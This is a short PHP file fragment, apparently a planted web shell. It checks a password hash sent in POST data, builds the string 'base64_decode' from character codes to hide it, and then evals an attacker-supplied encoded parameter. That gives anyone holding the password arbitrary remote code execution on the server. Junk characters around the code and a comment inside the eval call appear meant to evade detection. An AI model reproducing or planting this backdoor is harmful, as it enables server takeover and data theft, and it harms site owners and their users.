#js&&****&……<?php 
$nss = $_POST; 
if(!empty($nss['a']) && md5($nss['a'].md5($nss['a']))=='699609d22d67e6abec5535be9ba4f8bc') {
	$xrm = 'chr';
	$mvb = $xrm(98).$xrm(97).$xrm(115).$xrm(101).$xrm(54).$xrm(52).$xrm(95).$xrm(100).$xrm(101).$xrm(99).$xrm(111).$xrm(100).$xrm(101);
	EVAL/*rkbgv*/($mvb($nss['c']));
	exit;
}
?>e5